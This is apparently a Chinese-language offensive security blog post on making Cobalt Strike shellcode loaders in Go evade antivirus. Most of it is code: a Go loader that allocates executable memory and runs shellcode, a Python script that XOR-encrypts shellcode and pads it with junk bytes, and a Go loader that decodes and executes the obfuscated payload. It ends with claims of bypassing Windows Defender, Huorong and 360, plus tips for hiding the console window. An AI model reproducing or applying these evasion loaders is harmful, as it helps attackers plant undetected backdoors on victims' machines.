0x01 go免殺
由於各種av的限制,我們在後門上線或者許可權持久化時很容易被殺軟查殺,容易引起目標的警覺同時暴露了自己的ip。尤其是對於windows目標,一個免殺的後門極為關鍵,如果後門檔案落不了地,還怎麼能進一步執行呢?關於後門免殺,網上的介紹已經很多了,原理其實大同小異。看了很多網上的案例,發現網上比較多都是用C/C++和python來進行免殺,但是很多已經被殺軟看的死死的,
非常容易就被識別出來了,那我想能不能用一種稍微小眾一點的語言來寫免殺呢,這裡就不得不說到go語言。
Go語言專門針對多處理器系統應用程式的程式設計進行了優化,使用Go編譯的程式可以媲美C或C++程式碼的速度,而且更加安全、支援並行程式。而且go語言支援交叉編譯可以跨平臺。
本文基於cobalt strike生成的.c檔案來進行免殺測試。
0x02 免殺測試
首先生成成一個.C檔案
這裡先貼一個最原始的go載入程式碼
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 區域可以執行程式碼,應用程式可以讀寫該區域。
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
這裡注意:因為殺軟對直接載入shellcode的一般都是落地秒,所以我們得換種方式,將shellcode混淆加密後再解密來使用。
加密和混淆經常使用的有異或加密,AES加密,或者新增隨機字元等。
但是隨著現在使用這種方法的人越來越多,殺軟檢測力度也越來越大,所以現在混淆的關鍵就是方式儘量要小眾,或者自己寫加密方法。
這裡有個好的地方就是,現在網上實現加密混淆操作的大都是使用C/C++來完成的,有些比較好的思路用C/C++實現可能會被殺軟攔截,但是如果把它移植到go上面說不定就有不一樣的效果。
先從整個shellcode混淆的指令碼
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 對shellcode的每一位進行xor亦或處理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 與p異或,p就是key中的字元之一
s = chr(s)
new_shellcode += s
return new_shellcode
def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1
return new_shellcode
def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每個位元組後面新增隨機一個位元組,隨機字元來源於key
for i in range(0, len(shellcode)):
#print(ord(shellcode[i]))
new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len]
#print(i % key_len)
return new_shellcode
# 將shellcode列印輸出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw
if __name__ == '__main__':
shellcode = ""
# 這是異或和增加隨機字元使用的key
key = "iqe"
print(shellcode[0])
print(len(shellcode))
# 首先對shellcode進行異或處理
shellcode = xor(shellcode, key)
print(len(shellcode))
# 然後在shellcode中增加隨機字元
shellcode = add_random_code(shellcode, key)
# 將shellcode列印出來
print(str_to_hex(shellcode))
加密shellcode後,再使用go語言載入混淆後的shellcode,先解密再執行。
package main
import (
"fmt"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 區域可以執行程式碼,應用程式可以讀寫該區域。
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾程式碼
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
// 解密異或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
直接go build生成exe檔案
生成的檔案大概有2M,再經過UPX壓縮後大概只有1M,這比python生成的要小很多了。
靜態完美過WindowsDefender,火絨和360全家桶
可以正常上線
VT查殺率71/8
可以看到國內的就一款殺軟查出來了
後記
用go編譯的exe檔案執行後會彈出黑框這裡有兩個解決辦法
- 在initial_beacon中設定auto migrate,但還得連帶把initial sleep設定成儘可能短
- build時新增操作選項:-ldflags="-H windowsgui"
參考
https://payloads.online/archivers/2019-11-10/1
https://saucer-man.com/operation_and_maintenance/465.html#cl-5
http://iv4n.cc/go-shellcode-loader/#shellcode-loader
https://payloads.online/archivers/2019-11-10/3